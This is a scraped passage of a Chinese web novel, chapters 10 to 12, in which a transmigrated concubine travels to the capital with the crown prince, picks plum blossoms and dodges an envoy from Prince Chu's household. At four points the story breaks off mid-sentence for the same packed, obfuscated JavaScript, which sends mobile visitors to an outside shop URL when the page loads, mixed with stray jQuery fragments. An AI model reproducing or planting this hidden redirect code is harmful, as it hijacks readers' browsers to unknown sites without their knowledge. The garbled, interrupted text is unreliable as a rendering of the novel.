回京过年这一段剧情李扶楹是很有印象的,但这一段剧情李扶楹是跳着看的,原因无他,就三个字:太穷了。 男主的父亲周仁帝想要攻打草原六部,但国库没钱,于是周仁帝就问东都这边要,但东都这边因为之前帮朝廷付了修缮河道的钱之后也赤字了,再加之之前开官仓赈灾放粮,哪哪都需要钱,哪哪都是窟窿。 李扶楹不喜欢穷,她喜欢美好而又快乐的生活,所以回京过年这一段,李扶楹直接拉进度条快进到男主回东都之后再接着继续看。 马车里面完全安静下来,队伍前行,李扶楹只能听到马车轮子压过路面的声音,以及马蹄的声音。 李扶楹窝在高崇宴的怀里看着高崇宴,因为是从下往上,李扶楹先看到了高崇宴那刀削般的下颚。李扶楹一秒就跑题了,好完美的整容模板。她以前在XX书上看到过有博主科普建模脸的360度无死角18宫格照片,那个下颚仰拍的角度就跟高崇宴的下颚一模一样。 高崇宴察觉到李扶楹在看他,垂下眼,“看什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303461|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李扶楹:“没有呀。” 高崇宴:“……” 李扶楹从高崇宴的怀里爬起来,“殿下,我有点饿了。” 她一觉睡到日上三竿,醒来就被催着去宫门口集合,早膳、午膳都没吃,这会儿肚子扁扁的,看见窝窝头都想咬一口。 李扶楹轻轻扯着高崇宴的衣角,“还有点渴。” 高崇宴:“……” 但高崇宴还是淡淡道:“停车。” 这话是对前行的队伍说的,队伍立刻停了下来。 有护卫军走到马车门外恭声:“殿下。” 高崇宴言简意赅,“去端两份糕点过来,还有水。” 护卫军立刻恭敬称是。 李扶楹从窗户探出小脑瓜好奇向马车外面张望了一眼,“殿下,都有哪些糕点呀?” 高崇宴微微蹙眉拉住李扶楹的后衣领把李扶楹拎回来。 外面冷,李扶楹这么探出一个小脑瓜去容易着凉。 李扶楹跟个小布娃娃一样被高崇宴拎回马车,虽然有一点点不开心,但她也不敢吱声。 李扶楹揣着小手旧话重提,“殿下,都有哪些糕点呀?” 高崇宴不知道,只是让李扶楹坐好。 李扶楹只好又乖巧坐好。 这时护卫军端着两样糕点和一壶水送进马车里,李扶楹看了眼,一道桂花糯米糕,一道梅花酥。 李扶楹只喜欢吃软软糯糯的糕点,所以只伸手去拿桂花糯米糕,并不去吃那道梅花酥。 水是温的,古代的条件是这样,没有保温杯,出远门之前烧好的热水,路上就成了温的,甚至是凉的。不过李扶楹不嫌弃,她可好养活了。 李扶楹咬着糕点嚼嚼嚼,嘴巴不大,但塞得两颊都鼓鼓的,吃得非常香。 队伍继续前行,抵达驿站的时候已经是晚上酉时末,太子入住,驿站的官员提前三天就把整个驿站打扫得干干净净一尘不染。 李扶楹累麻了。 她现在终于知道为什么古代人没事儿不往外面跑了,这才坐了一下午马车,坐得她屁股都疼。 李扶楹一边跟着高崇宴往驿站里面走,一边问:“殿下,我们明天能不能再放几个软垫在马车里面呀?我坐的屁股都疼……” 高崇宴淡淡嗯。 这时有驿站的婢女端着饭菜走进房间,她们先恭敬向高崇宴和李扶楹行礼,然后才又把饭菜摆放到桌案上。 李扶楹并不太饿,因为下午在马车里,那道桂花糯米糕她全都吃了。但高崇宴要用膳,李扶楹还得陪着多少吃两口。 阿福站在一旁伺候,高崇宴和李扶楹正吃着,门外忽然传来护卫军的禀报声:“殿下,贺大人求见。” 高崇宴语气无波:“让他进来。” 护卫军恭敬称是。 随即,房间的门被人从外面推开,正是一身官袍的贺青云。 高崇宴吩咐阿福,“先下去。” 阿福连忙恭敬称是。 李扶楹有点思量,因为看这情况,她好像也应该下去,她才不要走主线剧情。 高崇宴却先声道:“你继续吃。” 李扶楹:“……” 10.第10章 李扶楹这会儿已经吃饱了,只好盛了碗汤有一勺没一勺地喝着玩。 贺青云直接对高崇宴道:“殿下,京城的探子来报,说明年湘王要就藩了,贵妃舍不得,正跟陛下闹。恐怕这次陛下召殿下回京,跟湘王就藩的事情有点关系。” 大周王朝有规定,藩王就藩一共两个步骤,一个是皇帝令,一个是太子令。一般情况来说,这两个令没有冲突,但偶尔,就比如现在,贵妃得宠,湘王是贵妃的亲生儿子,贵妃死活不愿意让湘王就藩,皇帝令和太子令就很有可能不一致。 高崇宴的眼眸很冷,完全是正剧权谋风,“知道了。” 贺青云继续道:“另外,陛下好像还是要攻打草原六部。” 攻打草原六部是周仁帝的毕生所愿,因为他论文论武都不如大周王朝的太祖和高祖皇帝,但太祖和高祖皇帝都没能打下草原六部就都驾崩了,所以,周仁帝觉得他只有把草原六部拿下来,才能让后人记住他的丰功伟绩。 高崇宴依旧淡淡的,“这件事情等孤回京再说。” 贺青云点头,“也好,那臣先退下了。” 高崇宴嗯。 贺青云继而退出门外。 周仁帝要攻打草原六部这件事李扶楹是知道的,不过李扶楹不是很明白湘王就藩跟高崇宴回京有什么关系,当初她看书的时候也没看懂这一段内容。不过,她现在也不想知道了。 李扶楹咬着勺子的边缘,“殿下,这样的事情让我听到了没有关系吗?” 高崇宴抬眼皮,“有什么关系?” 李扶楹:“涉及藩王的事情不都是一些大事吗?好像……好像不能随便让人知道。” 高崇宴:“所以,你现在知道了,能做什么?” 李扶楹:“……” 好像是做不了什么。 高崇宴拿起筷子,“继续用膳吧。” 李扶楹哦。 一顿晚膳,李扶楹几乎就喝了点汤,高崇宴用的也不算多。晚膳过后,高崇宴就离开了房间。 阿福进屋陪着李扶楹。 李扶楹努力回忆了一下原文回京这段的剧情,发现她脑海里的内容都是一片:进度条30%,跳跳跳跳跳,进度条100%,下一章:太子回东都。 李扶楹:“……” 算了。 李扶楹决定直接问阿福,“阿福,殿下这次回京住在哪里呀?” 阿福笑着道:“殿下当然是住在东宫,京城那边也有东宫的。” 李扶楹想了想,“那这次回京,要多久才能回东都?” 阿福摇头,“这个奴婢就不清楚了,不过应该过完年就能回东都了。” 李扶楹便没再说话。 好像跟原文的进度也差不多,但李扶楹实在是记不清了。 晚上,高崇宴早早就回来了,李扶楹简单洗漱一番就躺到了床上。高崇宴没碰她,两个人一人一张被子,各睡各的,但李扶楹睡不着了。 她今天一直睡到下午才醒,虽说坐马车有点累,但并不困。 李扶楹躺在床上望着床顶开始数羊,虽说她不困,但还得努力让自己入睡,毕竟明天还得继续赶路,她这么黑白颠倒对她的身体没有好处。 高崇宴都已经快睡着了,忽然就听到耳边传来细细地低喃声。 高崇宴闭着眼睛,起初李扶楹是在数一只羊、两只羊,高崇宴耐着性子让她数,可李扶楹数起来没完没了,直到数到第二百只羊的时候,高崇宴终于把眼睛睁开了。 “你打算数到多少。” 李扶楹吓了一跳,她扭头看向高崇宴,但黑暗中,她看不清高崇宴的表情。 李扶楹顿时有点怂,“殿下……你……你怎么还没睡呀?” 高崇宴:“托你的福,现在睡不着了。” 李扶楹:“……” 高崇宴:“打算数到多少?” 李扶楹:“不数了不数了,我这就好好睡觉,绝不打扰殿下!” 李扶楹连忙乖巧闭上眼睛。 高崇宴继而收回视线,但他大手把李扶楹的被子一扯,连人带被子一并扯到了他的怀里抱住了。 次日,队伍继续往京城的方向进发。跟第一天一样,白天都是在赶路,中午在马车里面随便吃一点,晚上在驿站住下。这么一连反复五日,终于在第五日的下午抵达了京城。 高崇宴是太子,太子回京,文武百官以及藩王在内都要出城迎接。所以第五日高崇宴没坐马车,而是骑马进京。 倒是李扶楹只是太子妾,所以没那么多规矩,她继续坐在马车里面吃糕点,还把阿福叫过来陪她在马车里面玩叶子牌。 队伍走到皇城外,以秦王和晋王为首,率领文武百官向太子行跪拜大礼。李扶楹听到那震耳欲聋地“拜见太子殿下”,然后悄悄掀开马车的车帘往外面瞅了一眼。 乌泱泱的全是穿着官袍的人,还有身穿轻甲的护卫军,场面特别震撼。 李扶楹赶紧又把马车帘子放下了。 李扶楹问阿福,“阿福,一会儿需要我做什么吗?” 阿福笑着道:“不用的夫人,一会儿您就直接回东宫便是。” 李扶楹这才放心地点了点头。 她只是一个小笨蛋,实在做不来权谋文主线的那些事情。 这时队伍又开始前行,李扶楹又掀开马车帘子悄悄看了眼皇宫,在李扶楹的想象中,京城的皇宫应该比东都的大,或者说更加雄伟,毕竟京城才是真正的都城。但李扶楹这一路细细观察下来,却发现京城的皇宫居然跟东都的皇宫差不多。 李扶楹望着那高耸的宫墙又问阿福,“我怎么觉得京城的皇宫跟东都的皇宫这么像?” 阿福弯了弯眉眼,“夫人真是好眼力,京城的皇宫跟咱们东都的皇宫是一模一样的。” 李扶楹这才又想起一些原文里面的描述,早在大周王朝高祖皇帝那会儿,大周的京城就是东都,但后来,因为高祖皇帝要北征,所以才把京城迁到了北边,而以前的京城就成了东都。 马车一路前行,大约走了两刻钟才稳稳停下。阿福先走下马车,然后又扶着李扶楹下车。 李扶楹入目所及就是一座金碧辉煌的宫殿,主殿坐北朝南以示尊贵,面阔五间,有假山、有绿荫,还有湖。但这些景致跟东都那边实在是太像了,已经见过世面的李扶楹并没什么兴趣,而且还能根据东都那边的皇宫位置,“熟门熟路”地找到寝宫。 阿福跟在李扶楹的身后掩唇笑。 李扶楹扭头看向阿福,“笑什么呀?” 阿福笑着道:“奴婢是觉得夫人一点也不怕生。” 李扶楹环顾四周一圈,“也不是不怕生,只是这里跟东都太像了,所以才很熟悉。” 她顿了顿,又抬头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312987|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼寝宫的房梁,“这里是寝宫吧?” 她怕她走错了地方。 阿福依旧笑着道:“是寝宫,夫人您认得很准呢。” 得到表扬的李扶楹喜滋滋弯了弯眉眼,又欢快地走进寝宫。她的位份低,所以谁也不用去拜见,但这样正好,她就当来京城旅游了。等新年一过,她就再收拾收拾跟着高崇宴回东都。 阿福走过来帮李扶楹揉肩,“夫人这一路颠簸累了吧,等用过晚膳后再舒舒服服洗个热水澡。” 这五天的路程,虽然在驿站也可以洗澡,但驿站的条件有限,都是用木桶,而且大冬天的,热水一盆一盆倒进去,水很快就没有那么热了。李扶楹每次都是快速简单地洗一洗就赶紧出来,否则能在木桶里面冻感冒了。 李扶楹稍微有那么一点点怀念有热水器的日子,不过现在到了皇宫,她又可以跟泡温泉一样美滋滋地洗澡了。 李扶楹心情不错,“那我先吃饭吧。” 阿福笑着称是,然后便吩咐宫女去传膳。 京城皇宫的饭菜跟东都那边也差不多,因为高崇宴不回来用膳,李扶楹自己吃就是三菜一汤的标准。 李扶楹这几天在驿站都没有好好吃饭,主要是驿站的饭菜是真的很难吃,几乎没有油水也就罢了,而且连盐都舍不得放。虽然从养生学来讲的确是要低油低盐,但清水炖菜猪吃了都摇头。当然,驿站这么做也是有原因的,穷。 大周王朝目前这个阶段是真的穷,具体什么内容怎么回事儿李扶楹都不清楚,问就是她跳章了。但李扶楹知道后来的大周王朝是日富一日了,因为有男主这个掌舵者在,想不富都难。不过,剧情进度得需要一个过程,所以现阶段还是穷。 阿福帮李扶楹盛了满满冒尖的一碗饭。 李扶楹接过来,配着三菜一汤吃得超级开心,把小肚皮吃得鼓鼓的。 阿福看在眼里又欣慰又有一点点心酸。 欣慰是夫人并没有受旁的影响,有好好吃饭,心酸的是,这么好这么善良的夫人,却只能窝在寝宫里面自己用膳。 今天太子回京,主殿那边有宴席,所有的贵人都在那边觥筹交错,但李扶楹位份低,没有资格去。 阿福努力笑道:“夫人今天晚上用了不少呢,看来宫里的饭菜很合夫人的口味。” 李扶楹超满足放下筷子和空了的米饭碗,“主要有肉有盐,我可喜欢吃肉啦!” 阿福掩唇笑。 李扶楹摸了摸她圆鼓鼓的小肚皮,“一会儿陪我出去溜达溜达消消食吧。” 阿福笑着称是。 李扶楹又喝了杯加了奶的茶,然后才起身裹上大氅带着阿福往外面走去。 阿福道:“夫人,奴婢陪您去御花园逛逛吧。” 李扶楹不确定,“可以吗?” 高崇宴不让她乱跑。 阿福点头,“这会儿宫宴还没结束呢,御花园那边肯定没有人。” 阿福说完这话又觉得不妥,这话听上去跟李扶楹见不得人一样。 阿福又连忙解释道:“奴婢……奴婢是说没有人会打扰夫人您赏景。” 李扶楹压根儿没听出阿福刚才那话里的毛病,她只知道她可以去逛御花园,顿时就开心起来,“好啊好啊,那我们去逛御花园,走走走。” 李扶楹拉着阿福的小手,主人二人便溜达着一起往御花园的方向走去。 11.第11章 御花园的梅花都已经开了,远远望过去就是红艳艳地一片。李扶楹一边走一边打量着那些被修剪得格外精致的梅花,好看是好看,但因为被修剪得太过精致,反而失去了植物原本的生命力,倒像是些假花一样。 李扶楹不太赞赏地摇了摇头。 阿福笑着问李扶楹:“夫人,您不喜欢梅花吗?” 李扶楹薅了一朵放在手里把玩,“还行吧,只是这些梅花被修剪得太好了,少了点趣味。” 阿福又道:“夫人,这是宫里的规矩,什么花怎么修,修多少,花要朝哪边绽放才是富贵,都是有国师算过的。” 李扶楹:“……” 你们有钱人活得就是精致啊。 阿福又指着远处的梅花对李扶楹道:“夫人,我们去那边看看吧,奴婢瞧着那边的梅花开的很好呢。” 李扶楹开心点头。 主仆二人又往御花园的深处走去。 此时宫宴已经散席,贺青云跟着高崇宴一起回东宫。 此番让太子回京的目的已经非常清楚,皇帝想御驾亲征草原六部,让太子回京镇守监国,不过这件事,高崇宴已经明确上奏折进言阻止。 贺青云有些感慨,“听说这次鼓动陛下攻打草原六部的折子,有湘王的手笔,但湘王才十六岁,恐怕没这么深的心思。” 高崇宴垂着眼淡淡道:“湘王没这么深的心思,但楚王有。” 当年高祖皇帝在位时,也曾有意立楚王为太子。高崇宴的父亲跟楚王好一番明争暗斗才堪堪保住了太子之位。后来,高祖皇帝去世,高崇宴的父亲登基,楚王这才终于老实了。但吃肉的狼,怎么可能改吃素呢? 今年,楚王就没去东都朝贺,也没来京城朝贺。虽说是称病,但楚地有高崇宴的探子,探子一早来报,楚王根本就没病。所以,楚王为什么不来朝贺,只有他自己心里清楚了。 贺青云又道:“但这仗若是真打起来,楚王就有统兵权了。” 楚地紧邻草原六部,属于边界之地,周仁帝如果真的下令攻打草原六部,楚王必然要发兵支援朝廷。 但高崇宴并不是只在意楚王的统兵权,更重要的是,如今天下的百姓该怎么活。 国库没钱,打仗就得压榨百姓,但百姓们吃饭都勉强,再逼他们拿钱,恐怕等不到去打草原六部,各地的百姓就已经先造反了。 高崇宴吩咐贺青云,“让户部好好把账给陛下算明白,另外湘王那边,传孤的教令,新年一过,让他立刻去封地就藩。” 贺青云点头称是。 这时御花园里传来一阵女子的笑声,起初高崇宴没在意,但走到御花园的长廊时,他不经意间看到了梅花丛中的一抹淡淡粉色。 高崇宴脚步微顿,“你先回去休息吧。” 贺青云自然也听到了那笑声,不用想也知道是那位得宠的小选侍。 贺青云提醒高崇宴,“毕竟是楚王府的人,殿下也别太宠她了吧。” 高崇宴面无表情看向贺青云,“孤后院的事儿你也管?” 贺青云:“要不是您的小夫人来自楚王府,谁操这份闲心?” 高崇宴:“回去休息。” 贺青云:“……” 但高崇宴毕竟是太子,贺青云也不敢真把高崇宴惹恼了。他继而对高崇宴行了一礼,然后绕路走了。 一旁的宫人连忙提着灯笼帮高崇宴照路。 高崇宴在宴席上的时候就在想李扶楹在做什么,有宫人来给他汇报,说李扶楹一点也不怕生,熟门熟路自己去了寝宫,晚膳用了满满一碗饭,吃得那个香,碗干净得都不用刷,用过晚膳后,李扶楹就带着阿福去逛御花园了。 高崇宴垂眼,他还以为李扶楹第一次来京城会有些拘束,没想到他小瞧了李扶楹的适应能力。 高崇宴迈步走下长廊的台阶。 李扶楹这会儿正鼓动着阿福跟她一起薅梅花,“分开点薅,别逮着一个薅得光秃秃的,让人家看出来就不好了。” 阿福超小声称是。 李扶楹喜滋滋的,“这御花园的梅花真好,正好摘回去做生津梅花。殿下回京肯定很忙,咱们闲着也是闲着,在屋里做点好吃的。你知道吗?这个盐津梅花能生津止渴、开胃消食、缓解疲劳,咱们每天吃一点包有好处的。” 阿福笑着道:“那等回头也让殿下尝尝夫人您做的生津梅花。” 李扶楹摆摆手,“不给殿下吃,够咱们自己吃的就行。” 阿福不解,“为什么呀?” 李扶楹继续薅梅花,“殿下是太子,哪能随便给殿下吃东西?万一吃不好,咱们都要倒霉的。” 李扶楹好不容易才努力远离了“刺王杀驾”的人设,她可不想因为让高崇宴吃点东西再扯上什么毒/害太子的罪名。 阿福没有出声。 李扶楹还在吐槽,“再说了,咱们这不是偷偷摘的嘛,殿下还不一定愿意呢,万一说咱们不懂规矩,不能随便摘御花园里的梅花,咱们这不是不打自招吗?” 李扶楹把薅来的梅花都窝在手帕里,“所以呀,咱们就……” 李扶楹一转身,她目光所及就是一片金丝勾勒的蟒纹,再往上,线条分明的下颚,再往上,一双深不见底地眸子。 李扶楹:“……” 高崇宴居高临下睨着她,“继续说,怎么不说了。” 李扶楹:“……” 她稍微往右挪了挪眼眸,阿福早就已经跪到了地上。 李扶楹“扑通”一下也给高崇宴跪下了。 高崇宴顾着他的小选侍,手里薅的梅花红艳,李扶楹的小手雪白,衬得格外好看。 “起来。” 李扶楹这才又麻溜儿地起来。 李扶楹试图撒娇,“殿下你做什么站在人家身后吓人家……” 高崇宴:“不站在你身后,怎么知道你在做坏事?” 李扶楹:“……” 高崇宴:“摘了这么多梅花打算做什么?” 李扶楹握着梅花往袖口里面掖了掖,试图藏一下,“也……也没有,就是先摘一点,还没想好做什么。” 高崇宴:“不是说要做盐津梅花吗?生津止渴、开胃消食、缓解疲劳,每天吃一点包有好处。” 李扶楹:“……” 权谋文大男主听人墙角这对吗? 高崇宴顾着李扶楹,“做好后,拿来给孤尝尝。 李扶楹真的一点也不想做东西给高崇宴吃,她抱住高崇宴的胳膊继续试图撒娇,“殿下,我做的东西不好吃的,要不还是算了吧,好不好呀?” 高崇宴任由李扶楹撒娇,但不言语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322309|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李扶楹嘟了嘟小脸,“那……那万一……” 高崇宴随意扫视着御花园里的梅花,“万一孤没吃好,也不怪你投/毒。” 李扶楹:“……” 这人到底听了多少墙角?差评! 高崇宴的唇角微不可查轻轻牵了下,但他没再言语,只是继续往寝宫的方向走去。 李扶楹老实巴交地跟在高崇宴的身后回了寝宫,这会儿已经是戌时末。高崇宴直接去了外间偏殿沐浴,李扶楹站在原地瞅着高崇宴的背影,确定高崇宴走远了,才又拐弯去了里间水房。 薅梅花未半而中道崩殂…… 李扶楹皱巴巴着一张小脸,原本梅花就没有薅很多,现在还要等做出来的盐津梅花分高崇宴一半,不开心。 阿福仔细跟在李扶楹身后,这才稍稍松了一口气,“夫人呀,咱们以后可别再干这事儿了。” 李扶楹懵懵的,“薅梅花吗?” 阿福小声道:“不是的夫人,是以后别再在背后议论太子殿下了。” 薅梅花没什么大不了的,但背后妄议太子是死罪。阿福还以为今天晚上她的脑袋要保不住了。 李扶楹更不开心,但现实情况是这样的,在这个她要饭都要不明白的古代,谁让她得靠着高崇宴过活呢。 李扶楹揣着小手,“那好吧,我知道了。” 阿福又道:“夫人,您打算给殿下做盐津梅花吗?” 李扶楹点头。 高崇宴都指名道姓让她做了,她好像也没有拒绝的余地。不过盐津梅花属于蜜饯类的,得腌制,一时半会儿也做不出来。 阿福伺候李扶楹脱掉衣服走进浴池,浴池的水温刚刚好,整个人泡进去立刻就会觉得非常舒服。 李扶楹开心弯了眉眼,“还是宫里好呀!泡澡好舒服!” 阿福掩唇笑。 李扶楹望着浴池里的水,“明天先给殿下做个梅花粥。” 其实是李扶楹想喝梅花粥了,但这种情况下,高崇宴都已经知道她薅他家的梅花了,不给高崇宴做一碗好像也不太合适。 阿福笑着道:“殿下一定会很喜欢夫人做的梅花粥。” 李扶楹才不介意高崇宴喜不喜欢,反正她喜欢就行。高崇宴这种情况就属于买一赠一的那个“赠一”。 阿福继而帮李扶楹拿来花露涂抹。 李扶楹闻了闻,“是茉莉花香。” 阿福点头称是。 茉莉花香是淡香,阿福观察发现,太子殿下好像不太喜欢牡丹花的那种浓香,所以,她才给夫人换成淡香。 李扶楹倒是没想那么多。 宫里的花露都很好闻,她哪一种都喜欢。 阿福给李扶楹涂抹花露,李扶楹便没什么事情可做了。她掰着手指开始算了算日子,今天是冬月初七,差不多还有一个多月才过年。也就是说,她还得再在这个京城的东宫里面住一个多月。 李扶楹抬头看向阿福,“阿福,京城的东宫也有自己的小厨房吗?” 阿福笑着道:“有的,夫人。” 李扶楹便放心了。 因为不管她要做盐津梅花还是梅花粥都要去厨房才行,但宫里的御厨肯定不行,那都是给周仁帝做饭的地方。所以,只要东宫有自己的小厨房,很多事情就方便多了。 12.第12章 李扶楹在浴池里面泡了整整半个时辰才出来,天冷,泡透了身上暖和,也不容易感冒。 古代的药太苦了,李扶楹可不想去喝中药,所以,她得自己疼惜自己。 李扶楹穿着中衣回到寝宫里间,地龙烧得极旺,倒也不冷,只是头发不好干,得多晾一会儿。 高崇宴早就已经在偏殿水房洗完了,这会儿正坐在床上翻阅着一本书。 高崇宴听到脚步声抬眸看向李扶楹,李扶楹赶紧屁颠屁颠走过去坐到床上。 高崇宴顾着李扶楹,没来由又想起宫人跟他汇报的那些话,李扶楹吃了满满冒尖一碗饭,干净得连碗都不用刷。 倒是真的没心没肺。 今晚的宫宴,如果李扶楹的位份是太子妃或者良媛、良娣,便有资格跟着他一起去赴宴,但李扶楹只是一个选侍,所以,所有正式场合李扶楹都不能去。 但即便如此…… “宫里规矩多,一些宴席并不自在,远不如在自己宫里吃得舒服。” 李扶楹一脸茫然:“啊?” 高崇宴:“……” 李扶楹根本就没有在意什么宴席不宴席的。 她才不要去参加宫宴。 她又没有受虐倾向,做什么好端端的非得去人前连跪带拜再磕头? 高崇宴:“……算了。” 李扶楹:“哦。” 高崇宴:“……” 高崇宴无奈叹了口气,转身躺到床上,“京城的东宫不准再布置成粉色。” 李扶楹眨眼睛,没敢接话。 高崇宴拍了拍他旁边的位置示意李扶楹也躺下,“京城这边人多眼杂,不让你布置寝宫不是孤不喜欢,而是省得别人找你麻烦。” 李扶楹这才明白,高崇宴是站在她这边的。 李扶楹喜滋滋躺下。 高崇宴直接把人抱进怀里。 温暖的男人身躯贴过来,空气中顿时就染进了淡淡的檀木香。 李扶楹在高崇宴的怀里抬头,高崇宴那双平日里毫无波澜的双眸此时在烛火下显得几分沉静缱绻。 李扶楹眨眼睛看着高崇宴,然后“吧唧”亲了他一口。 高崇宴:“……” 李扶楹是觉得高崇宴长得好好看,但李扶楹亲完又揣起小手把眼睛闭上了,她要睡觉了。 高崇宴:“……” 高崇宴把人往怀里又抱了一寸,反客为主去亲李扶楹,他没可能让李扶楹亲了就放她去睡觉。 泼墨的窗外又下起了雪,雪落了厚厚一层,从南向北、自西向东铺满了整个皇城。雪落处染成一片洁白,但有些地方并未立刻结冰,有温暖处化成水,沿着青色的石子路蜿蜒滑落,又在寒风吹过时镶嵌在青色的石子路上。 次日,高崇宴就去太极宫了。 高崇宴是很忙的,毕竟是权谋文男主,肯定是以搞事业为主,即便是过年也没有休假。 李扶楹自己在寝宫用了早膳,然后便带着阿福去后厨准备煮梅花粥和腌制盐津梅花。 多年的社会毒打告诉李扶楹,上级要求你做的事情不能拖,要赶着往前做,争取给人家留下一个好印象。 对,就是给高崇宴留下一个好印象。 ——可怜猫猫李扶楹 主仆二人风风火火去了后厨,这会儿还不到午膳时间,后厨的人都不忙,只是坐在一起一边聊天一边摘菜。 李扶楹走进后厨,众人赶紧放下手里的菜给李扶楹行礼。 李扶楹一边走进后厨里间,一边让众人都起来,“不用管我,你们继续忙就好啦。” 众人又恭敬称是。 李扶楹和阿福单独找了个空闲的灶台。 盐津梅花倒还简单,各种材料齐全腌制上就行,难就难在梅花粥。 主要古代的设备的确很不好用,确切的说,应该是非常难用。尤其是在灶台里面点火之后,也没有个抽油烟机,那迎面扑来的油烟差点把李扶楹呛死。 不过李扶楹为了吃还是很有坚持不懈的精神,她一点也不嫌麻烦,仔仔细细在小厨房里鼓捣了整整一个上午,等粥熬好的时候,李扶楹忙活儿得头发也毛了,小脸也脏了,远远望过去,跟刚挖煤回来一样。 阿福忍不住笑,“夫人,您这个样子真可爱。” 像个小煤球。 李扶楹抹了把小脸,原本是左一道右一道的灰,李扶楹这么一抹,愣是给摸匀了,就……小脸黑黑的,像极了一只暹罗猫猫。 李扶楹又继续去鼓捣她的梅花粥,先给高崇宴盛了一碗,粥就是白粥,上面撒点梅花当点缀就成了。 李扶楹吩咐阿福,“去拿托盘,等殿下回来,我端着托盘给殿下送去。” 阿福笑着称是,一边帮李扶楹拿托盘一边道:“夫人您这么用心,殿下一定会高兴的。” 李扶楹眉眼弯弯把托盘接过去又把粥摆好,最后再罩上那个厚实的铁盖子保温。 这时,门外忽然匆匆走进来一个宫女向李扶楹行礼,“夫人,楚王府的女官来拜见夫人了。” 李扶楹一愣,“谁?” 宫女又重复道:“回夫人的话,是楚王府的女官。” 李扶楹略略回忆原文剧情,好像根本没有楚王府女官这么个角色。 李扶楹顿时有些怀疑,难不成是因为她穿进书里,女性角色也都慢慢多起来了? 但李扶楹的人设是楚王府的人,甭管是歌伎还是杀手,反正是楚王府的人这一点没跑。所以,她现在成了太子妾,又正值年下,楚王府这个“娘家”但凡懂点规矩是会派女官来拜见她的。 李扶楹赶紧拉着阿福准备回寝宫洗脸梳头换衣服,毕竟她现在这个“挖煤”的样子肯定不能出去见人。 李扶楹风风火火拉着阿福往厨房外面走,但走了几步却又忽然顿住脚步。 阿福没成想李扶楹忽然停下,脚步不稳,差点撞到李扶楹身上。 阿福连忙稳了稳身形,“夫人,您怎么不走了?” 李扶楹是忽然想到了一个问题,她不是真正的李氏,不是那个楚王养的杀手。她不知道那个真正的李氏在楚王府的生活是什么样子,因为作者没写,所以,万一让女官看出她是个冒牌货,那她不完蛋了? 李扶楹忽然又觉得她不能去见楚王府的女官。 阿福看着李扶楹愣愣的样子顿时有些好奇,“夫人,您在想什么呢?” 李扶楹揣着小手,“我不能去!” 阿福:“啊?” 李扶楹扭头看向那个来给她报信的宫女,“你去告诉楚王府的女官吧,就说我身体不适,不能见她了。” 宫女没明白李扶楹为什么要装病,但在东宫,李扶楹才是她真正的主子,宫女肯定会站在李扶楹这边。 宫女连忙恭敬称是,然后又转身去了前堂。 李扶楹拉着阿福又重新回到后厨,李扶楹把那碗给高崇宴做好的梅花粥端起来递给阿福,“阿福,你给殿下送去吧。” 阿福不解,“夫人您方才不是说要亲自给殿下送去吗?” 李扶楹现在没空去了。 楚王府女官这个角色突然冒出来,李扶楹想找个安静的地方理理头绪。 李扶楹:“你去吧,我先不去了。” 阿福:“……” 但李扶楹让她去,她肯定得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331526|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的。 阿福这才点头称是,端着托盘往书房的方向走去。 李扶楹继而一个人溜达着回寝宫,一边溜达一边努力回想原文。楚王是在后半部分才正式出场,作者用了很大的篇幅描写楚王有多厉害。 李扶楹想了想,楚王那么厉害,手底下的人应该也都是狠角色吧。所以,她就更不能去见楚王府的女官了,问就是青铜打不过王者。 李扶楹越想越觉得她自己做的对,继续溜达着往寝宫的方向走,走着走着才发现那些路过的宫女宫人们都在向她行礼的时候悄悄看她的脸。 李扶楹奇怪这些人为什么要悄悄看她,结果下意识用手一摸脸颊,手指上都是油灰。 李扶楹:“……” 好吧,她都忘了自己是一副刚挖完煤的逃荒样。 李扶楹自动屏蔽那些“注目礼”继续溜达着回寝宫。 阿福还没有回来,李扶楹便自己去水房洗了把脸,然后又换了身干净的衣服坐到软榻上开始喝加了奶的茶。 约莫过了两刻钟,阿福从外面掀门帘进来了。 